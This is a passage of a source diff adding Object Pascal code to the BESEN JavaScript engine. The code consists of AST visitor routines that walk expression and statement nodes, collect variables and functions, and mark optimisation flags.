Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]); + end; + end; + end; + bntBINARYEXPRESSION:begin + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBINARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression); + end; + bntBINARYCOMMAEXPRESSION:begin + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression); + end; + bntBINARYDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression); + end; + bntBINARYMODULOEXPRESSION:begin + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression); + end; + bntBINARYMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression); + end; + bntBINARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression); + end; + bntBINARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYINSTANCEOFEXPRESSION:begin + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression); + end; + bntBINARYINEXPRESSION:begin + Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBOOLEANLITERAL:begin + end; + bntCALLEXPRESSION:begin + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]); + end; + end; + bntNEWEXPRESSION:begin + Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]); + end; + end; + bntCONDITIONALEXPRESSION:begin + Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression); + end; + bntUNARYEXPRESSION:begin + Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression); + end; + bntUNARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression); + end; + bntUNARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression); + end; + bntUNARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression); + end; + bntUNARYBITWISENOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression); + end; + bntUNARYLOGICALNOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression); + end; + bntUNARYVOIDEXPRESSION:begin + Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression); + end; + bntUNARYTYPEOFEXPRESSION:begin + Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression); + end; + bntPROPERTYEXPRESSION:begin + Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression); + end; + bntLOGICALANDEXPRESSION:begin + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + end; + bntLOGICALOREXPRESSION:begin + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + end; + bntDELETEEXPRESSION:begin + IsComplexFunction:=true; + HoldLocalVariablesInRegisters:=false; + Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression); + if assigned(TBESENASTNodeDeleteExpression(ToVisit).SubExpression) and (TBESENASTNodeDeleteExpression(ToVisit).SubExpression.NodeType=bntIDENTIFIER) then begin + HasLocalDelete:=true; + end; + end; + bntPOSTFIXINCEXPRESSION:begin + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression); + end; + bntPOSTFIXDECEXPRESSION:begin + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression); + end; + bntPREFIXINCEXPRESSION:begin + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression); + end; + bntPREFIXDECEXPRESSION:begin + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + end; + bntREGEXPLITERAL:begin + end; + bntSTRINGLITERAL:begin + end; + bntTHISLITERAL:begin + end; + bntOBJECTLITERALPROPERTY:begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal); + end; + end; + bntOBJECTLITERAL:begin + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]); + end; + end; + bntRETURNSTATEMENT:begin + Visit(TBESENASTNodeReturnStatement(ToVisit).Expression); + end; + bntPROGRAM:begin + IsComplexFunction:=true; + HoldLocalVariablesInRegisters:=false; + Visit(TBESENASTNodeProgram(ToVisit).Body); + end; + bntFUNCTIONEXPRESSION:begin + IsComplexFunction:=true; + if assigned(TBESENASTNodeFunctionExpression(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal); + end; + end; + end; + end; + end; + begin + Visit(RootNode); + end; + procedure ScanCollectAndPreprocess(RootNode:TBESENASTNode); + var Functions:TBESENPointerList; + Variables:TBESENPointerList; + VariableHashMap:TBESENHashMap; + AreLocalsOptimizable,IsFunction,IsMaybeArgumentsObjectUsed:boolean; + FunctionLiteral:TBESENASTNodeFunctionLiteral; + procedure AddVariable(Identifier:TBESENASTNodeIdentifier;IsParameter:boolean;ParameterIndex:integer); + var Item:PBESENHashMapItem; + begin + if assigned(Variables) then begin + Item:=VariableHashMap.GetKey(Identifier.Name); + if not assigned(Item) then begin + Item:=VariableHashMap.NewKey(Identifier.Name,true); + Item^.Value:=Variables.Add(Identifier); + Identifier.Index:=Item^.Value; + Identifier.IsParameter:=IsParameter; + Identifier.ParameterIndex:=ParameterIndex; + end; + end; + end; + function Visit(ToVisit:TBESENASTNode):TBESENASTNode; + var Counter,NonEmptyStatementCount:integer; + OldFunctions:TBESENPointerList; + OldVariables:TBESENPointerList; + OldVariableHashMap:TBESENHashMap; + OldAreLocalsOptimizable,OldIsFunction,OldIsMaybeArgumentsObjectUsed,OldIsStrict:boolean; + OldFunctionLiteral:TBESENASTNodeFunctionLiteral; + begin + result:=ToVisit; + if assigned(ToVisit) then begin + if ToVisit is TBESENASTNodeStatement then begin + if TBESENASTNodeStatement(ToVisit).Location.LineNumber>0 then begin + TBESEN(Instance).LineNumber:=TBESENASTNodeStatement(ToVisit).Location.LineNumber; + end; + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + TBESENASTNodeIdentifier(ToVisit).ID:=TBESEN(Instance).KeyIDManager.Get(TBESENASTNodeIdentifier(ToVisit).Name); + if (TBESENASTNodeIdentifier(ToVisit).Name='eval') or (TBESENASTNodeIdentifier(ToVisit).Name='arguments') then begin + IsMaybeArgumentsObjectUsed:=true; + end; + end; + bntVARIABLEDECLARATION:begin + TBESENASTNodeVariableDeclaration(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier)); + TBESENASTNodeVariableDeclaration(ToVisit).Expression:=pointer(Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression)); + AddVariable(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,false,-1); + end; + bntVARIABLEEXPRESSION:begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]:=pointer(Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter])); + end; + end; + bntFUNCTIONBODY:begin + OldFunctions:=Functions; + OldVariables:=Variables; + OldVariableHashMap:=VariableHashMap; + OldAreLocalsOptimizable:=AreLocalsOptimizable; + OldIsStrict:=TBESEN(Instance).IsStrict; + Functions:=TBESENPointerList.Create; + Variables:=TBESENPointerList.Create; + VariableHashMap:=TBESENHashMap.Create; + try + TBESEN(Instance).IsStrict:=TBESENASTNodeFunctionBody(ToVisit).IsStrict; + AreLocalsOptimizable:=true; + if IsFunction and assigned(FunctionLiteral) then begin + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Parameters)-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter]:=pointer(Visit(TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter])); + AddVariable(TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter],true,Counter); + end; + end; + NonEmptyStatementCount:=0; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter])); + if assigned(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]) and (TBESENASTNodeFunctionBody(ToVisit).Statements[Counter].NodeType<>bntEMPTYSTATEMENT) then begin + inc(NonEmptyStatementCount); + end; + end; + SetLength(TBESENASTNodeFunctionBody(ToVisit).Functions,Functions.Count); + for Counter:=0 to Functions.Count-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]:=Functions[Counter]; + end; + SetLength(TBESENASTNodeFunctionBody(ToVisit).Variables,Variables.Count); + for Counter:=0 to Variables.Count-1 do begin + TBESENASTNodeFunctionBody(ToVisit).Variables[Counter]:=Variables[Counter]; + end; + TBESENASTNodeFunctionBody(ToVisit).EnableLocalsOptimization:=IsFunction and AreLocalsOptimizable; + TBESENASTNodeFunctionBody(ToVisit).DisableArgumentsObject:=not (IsFunction and IsMaybeArgumentsObjectUsed); + TBESENASTNodeFunctionBody(ToVisit).IsEmpty:=NonEmptyStatementCount=0; + finally + BESENFreeAndNil(Functions); + BESENFreeAndNil(Variables); + BESENFreeAndNil(VariableHashMap); + Functions:=OldFunctions; + Variables:=OldVariables; + VariableHashMap:=OldVariableHashMap; + TBESEN(Instance).IsStrict:=OldIsStrict; + AreLocalsOptimizable:=OldAreLocalsOptimizable; + end; + end; + bntFUNCTIONLITERAL:begin + OldIsFunction:=IsFunction; + OldFunctionLiteral:=FunctionLiteral; + OldIsMaybeArgumentsObjectUsed:=IsMaybeArgumentsObjectUsed; + IsMaybeArgumentsObjectUsed:=false; + IsFunction:=true; + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ToVisit); + TBESENASTNodeFunctionLiteral(ToVisit).Body:=pointer(Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body)); + FunctionLiteral:=OldFunctionLiteral; + IsFunction:=OldIsFunction; + IsMaybeArgumentsObjectUsed:=OldIsMaybeArgumentsObjectUsed; + end; + bntSTATEMENT:begin + end; + bntVARIABLESTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]:=pointer(Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter])); + end; + end; + bntFUNCTIONDECLARATION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal)); + end; + if assigned(Functions) then begin + Functions.Add(ToVisit); + result:=TBESENASTNodeEmptyStatement.Create(Instance); + TBESENASTNodeEmptyStatement(result).Location.LineNumber:=TBESENASTNodeFunctionDeclaration(ToVisit).Location.LineNumber; + end; + end; + bntEXPRESSIONSTATEMENT:begin + TBESENASTNodeExpressionStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression)); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter])); + end; + end; + bntDEBUGGERSTATEMENT:begin + end; + bntBREAKSTATEMENT:begin + TBESENASTNodeBreakStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier)); + end; + bntCONTINUESTATEMENT:begin + TBESENASTNodeContinueStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier)); + end; + bntDOSTATEMENT:begin + TBESENASTNodeDoStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeDoStatement(ToVisit).Statement)); + TBESENASTNodeDoStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeDoStatement(ToVisit).Expression)); + end; + bntWHILESTATEMENT:begin + TBESENASTNodeWhileStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeWhileStatement(ToVisit).Expression)); + TBESENASTNodeWhileStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeWhileStatement(ToVisit).Statement)); + end; + bntWITHSTATEMENT:begin + if TBESEN(Instance).IsStrict then begin + raise EBESENSyntaxError.Create('"with" not allowed here'); + end; + TBESENASTNodeWithStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeWithStatement(ToVisit).Expression)); + TBESENASTNodeWithStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeWithStatement(ToVisit).Statement)); + end; + bntFORSTATEMENT:begin + TBESENASTNodeForStatement(ToVisit).Initial:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Initial)); + TBESENASTNodeForStatement(ToVisit).Condition:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Condition)); + TBESENASTNodeForStatement(ToVisit).Increment:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Increment)); + TBESENASTNodeForStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeForStatement(ToVisit).Statement)); + end; + bntFORINSTATEMENT:begin + TBESENASTNodeForInStatement(ToVisit).Variable:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Variable)); + TBESENASTNodeForInStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Expression)); + TBESENASTNodeForInStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeForInStatement(ToVisit).Statement)); + end; + bntIFSTATEMENT:begin + TBESENASTNodeIfStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).Expression)); + TBESENASTNodeIfStatement(ToVisit).TrueStatement:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement)); + TBESENASTNodeIfStatement(ToVisit).FalseStatement:=pointer(Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement)); + end; + bntLABELLEDSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]:=pointer(Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter])); + end; + TBESENASTNodeLabelledStatement(ToVisit).Statement:=pointer(Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement)); + end; + bntCASESTATEMENT:begin + TBESENASTNodeBreakStatement(ToVisit).Identifier:=pointer(Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier)); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]:=pointer(Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter])); + end; + end; + bntSWITCHSTATEMENT:begin + TBESENASTNodeSwitchStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression)); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]:=pointer(Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter])); + end; + end; + bntTHROWSTATEMENT:begin + TBESENASTNodeThrowStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeThrowStatement(ToVisit).Expression)); + end; + bntTRYSTATEMENT:begin + TBESENASTNodeTryStatement(ToVisit).TryBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock)); + TBESENASTNodeTryStatement(ToVisit).CatchIdentifier:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier)); + TBESENASTNodeTryStatement(ToVisit).CatchBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock)); + TBESENASTNodeTryStatement(ToVisit).FinallyBlock:=pointer(Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock)); + end; + bntARRAYLITERAL:begin + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if assigned(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]) then begin + TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]:=pointer(Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter])); + end; + end; + end; + bntBINARYEXPRESSION:begin + TBESENASTNodeBinaryExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTEXPRESSION:begin + TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression)); + end; + bntBINARYOPERATOREXPRESSION:begin + 